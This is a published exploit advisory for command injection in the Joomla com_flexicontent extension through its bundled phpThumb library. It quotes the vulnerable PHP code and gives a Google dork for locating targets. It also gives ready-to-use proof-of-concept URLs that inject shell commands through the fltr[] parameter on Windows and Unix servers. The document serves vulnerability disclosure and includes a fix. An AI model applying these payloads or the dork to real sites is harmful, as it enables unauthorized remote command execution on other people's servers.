Joomla Flexicontent Remote Code Execution

                							

                # Exploit Title: Joomla com_flexicontent Remote Code Execution
# Release Date: 08/12/2013
# Author: Deepankar Arora And Rafay Baloch
# Contact: http://rafayhackingarticles.net
# Vendor: http://www.flexicontent.org/
# Versions Affected: 2.1.3(Latest) and earlier
# Google Dork: inurl:com_flexicontent

*----*
*Description:*

The vulnerability with phpthumb with a known vulnerability, however it has
been included with com_flexicontent package.

The exploit is nested in the "SafeExec" function, but the vulnerable
parameter is passed to "ImageMagickThumbnailToGD".

The vulnerable code is as follows:

foreach ($this->fltr as $filterkey => $filtercommand) {
@list($command, $parameter) = explode('|', $filtercommand, 2);
switch ($command) {
case 'blur':
        if ($this->ImageMagickSwitchAvailable('blur')) {
             @list($radius) = explode('|', $parameter);
              $radius = ($radius ? $radius : 1);
              $commandline .= ' -blur '.$radius;
              unset($this->fltr[$filterkey]);
         }
        break;

$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__,
__LINE__);
 $IMresult = phpthumb_functions::SafeExec($commandline);
 clearstatcache();
 if (@$IMtempSourceFilename && file_exists($IMtempSourceFilename)) {
      @unlink($IMtempSourceFilename);
 }

 if (!@file_exists($IMtempfilename) || !@filesize($IMtempfilename)) {
      $this->FatalError('ImageMagick failed with message
('.trim($IMresult).')');
      $this->DebugMessage('ImageMagick failed with message
('.trim($IMresult).')', __FILE__, __LINE__);


Here the vulnerable parameter is fltr[] as the params passed is exploded by
the pipe (|) character, and that's where the code is passed.
How the command is processed:

$output = array();
$lastline = $execfunction($command, $output);
$returnvalue = implode("\n", $output);


As we can see the $command parameter is compiled with the imagemagick path,
filename and parameters. Even the phpThumbDebug parameter gives us a
console like account of everything imagemagick does as it executes.


*----*
*POC:*

*Windows-
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9
-quality  75 -interlace line fail.jpg jpeg:fail.jpg %26%26 dir  %26%26
&phpThumbDebug=9

*nix-
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9
-quality  75 -interlace line fail.jpg jpeg:fail.jpg ; ls -l ;
&phpThumbDebug=9

*----*
*Fix:*

Replace the phpthumb package being used with the latest version.

*----*
*References:*
http://www.cvedetails.com/cve/CVE-2010-1598/

*----*
Warm Regards,
Deepankar Arora and Rafay Baloch
RHA Infosec
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